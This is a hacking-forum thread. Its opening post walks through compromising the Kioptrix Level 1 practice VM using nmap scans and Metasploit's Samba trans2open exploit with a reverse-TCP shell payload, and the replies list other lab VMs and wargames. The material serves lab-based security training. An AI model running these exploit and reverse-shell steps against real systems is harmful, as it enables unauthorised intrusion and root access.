Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


[walkthrough] Kioptix Level 1 filter_list
Author
Message
[walkthrough] Kioptix Level 1 #1
[Walkthrough] Kioptix Level 1

I am going to demonstrate how we can pawn Kioptix Level 1 Challenging server.
Kioptix series are well known , made by hackers for hackers.
You can download them at >>
Quote:http://www.kioptix.com
Challenging servers are also called "boot-to-root"
It is safe to test on your own local machine.
Here we go Smile

(0x01) Prepare for battle
We open the vmdk (vm disk) to boot the kioptix.
If everythings fine, you will see the welcome screen of Red hat linux logon.

There may be various way which we can take privilege.
But now I will demonstrate with MSF.

(0x02) Reconnaissance
We must first reconnaissance to our enemy Biggrin
So I perform a basic nmap
Spoiler:
[Image: x9wU06e.png]

Code:
$. nmap 192.168.37.1/24
Spoiler:
[Image: RMS7Ti9.png]

Now we could see the general results showing services running along the server.
Spoiler:
[Image: D74UIAI.png]

I marked down the IP and load in the browser to see what we can take advantage.
The front page is merely a test page but wait there are some Links.
Spoiler:
[Image: UGn6KrD.png]

Let's follow the links and you will see some mods.
Spoiler:
[Image: YYq0naE.png]

You can see ,they use mod_ssl which we can pawn with Openfuck.c. But right now,
I would take advantage of "netbios-ssn" service along with msf.
So I deep scan again using this cmd
Code:
$. nmap 192.168.37.128 -sV -PN -A

You could see a bunch of ports with services are open.
Take a look at 139 port number.
It's sevice is "samba"!.
So, next....

(0x03) Launch primary weapon
So , I use my nuclear Biggrin ~ Metasploit.
When I got to msf_console.
I search for exploits naming "samba"
Code:
msf > search "linux samba"

As you can see , a ton of exploits and payloads are shown up.
I looked for linux samba and the exploit name exploit/linux/samba/trans2open.
For now we will use that one.
Spoiler:
[Image: pv969Cp.png]

Code:
msf > use exploit/linux/samba/trans2open

Now, we have to configure the weapon to be maximum level Biggrin
I started with general options
Code:
msf > show options

As you can see, we have to adjust current settings ...so
Code:
msf > set rhost 192.168.37.128

now , we have to choose which payload we should use.
So..
Code:
msf > show payloads
Spoiler:
[Image: WQnlDJr.png]

A ton of payloads are shown up.
I choose linux/x86/shell_reverse_tcp

Code:
msf > set payload linux/x86/shell_reverse_tcp

See options again.
Code:
msf > show options

we have to the local host with our IP.
Code:
msf > set lhost 192.168.37.1

So everything is configured and now we can start our attack.
Code:
msf > exploit
Spoiler:
[Image: Jr2brcM.png]

Boom~!!!
We can see shell sessions :dance:
type around and play with root Biggrin

Regards
Mr.Geek@HC:~# logout

Reply

RE: [walkthrough] Kioptix Level 1 #2
Seems to be a nice game Biggrin thanks for share
[Image: 4180_gif_by_d53865-d31l0il.gif]


“If they ever tell my story let them say I walked with giants, men rise and fall like the Winter wheat but these names will never die...let them say I lived in the time of Achilles...”



Reply

RE: [walkthrough] Kioptix Level 1 #3
Nice share mate! Smile
Great too see more walk-through's here Biggrin
"SQL Injection-a-holic"

Twitter | Security Sucks | My Blog

Reply

RE: [walkthrough] Kioptix Level 1 #4
Thanks bros.... Let's make the walkthroughs on HC better ever Biggrin

Reply

RE: [walkthrough] Kioptix Level 1 #5
Nice one mate btw where can I find these challenges? So I can solve and share my Walkthrough too Smile

EDIT: Nevermind, I found some good challenges from Hackademic. I'll be trying those
My Blog: http://www.procurity.wordpress.com
Donations: 1HLjiSbnWMpeQU46eUVCrYdbkrtduX7snG

Reply

RE: [walkthrough] Kioptix Level 1 #6
(06-12-2013, 08:25 AM)Ex094 Wrote: Nice one mate btw where can I find these challenges? So I can solve and share my Walkthrough too Smile

EDIT: Nevermind, I found some good challenges from Hackademic. I'll be trying those

Here Hooded Robin a.k.a Mr.Green 's... collection of Challenging servers.
All credits go to him Smile

Quote:Kioptrix Challenge Servers:
These are a series of servers you can download and run in your virtual machine player of choice. Each one takes different attack methods to comprimise the server, so you learn something new each time with a mix of web and network exploits. For me things ran fine on the 192.168.1.0/24 network.

http://www.kioptrix.com/
Level 1: http://www.kioptrix.com/dlvm/Kioptrix_Level_1.rar
Level 1.1: http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar
Level 1.2: http://www.kioptrix.com/dlvm/Kioptrix_Level_2.rar
Level 1.3 (I didn't get this one working so cant help with this one, sorry): http://www.kioptrix.com/dlvm/Kioptrix4_vmware.rar


PwnOS v1.0
This is another boot2root challenge server. Made by hacker for hackers. For me things ran fine on the 192.168.1.0/24 network with simple setup in VMwarePlayer. Has a web front end and is fully rootable once inside.

http://sourceforge.net/projects/virtualh...p/download
There is supposed to be a second v2.0 but the original site has been down for a while and I have not found it to try it yet...


De-ICE Challenge Servers:
Another series of servers like Kioptrix, mix of web and network exploits. Each one a little different than the last. These ones have hard coded IP's so you may need to adjust your network settings for Level 3 (192.168.2.0/24), while the first two run fine on the 192.168.1.0/24 network. The last two are the most fun, first one is some basic principles type of stuff.

De-ICE Challenge 1 (1.100): http://sourceforge.net/projects/virtualh...o/download
De-ICE Challenge 2 (1.110): http://sourceforge.net/projects/virtualh...o/download
De-ICE Challenge 3 (2.110): http://sourceforge.net/projects/virtualh...o/download


OverTheWire Wargames:
This is a large collection of network wargames of various types. Some of them have themes, some are for begginners and novices and some are for the hardcore's out there. I can help you with the beginner one called 'Bandit' which i have completed already, do what I can for the others but plenty of this is way over my head Tongue

http://www.overthewire.org/wargames/
BEGINNER: http://www.overthewire.org/wargames/bandit/
The above is a fun one for those who want to have some fun getting to learn some *nix basics along the way. All taught through levelled challenges which progress in difficulty until you finish.


Metasploitable:
A set of virtual machines which are designed for Metasploit training. Each has a few different exploits so you can try a few different attacks out and become a little more familiar with MSF, Meterpreter, and Post Exploitation fun. Not much relating to real life these days but still good to learn with. The old one is an XP machine, the new one is based on a LAMP setup

http://sourceforge.net/projects/virtualh...ploitable/


Some links to more that I have yet to try or fully beat yet. If you have questions on these ones, can't promise I can be of any help but I will still try to do what I can:

http://sourceforge.net/projects/virtualh.../files/os/

Reply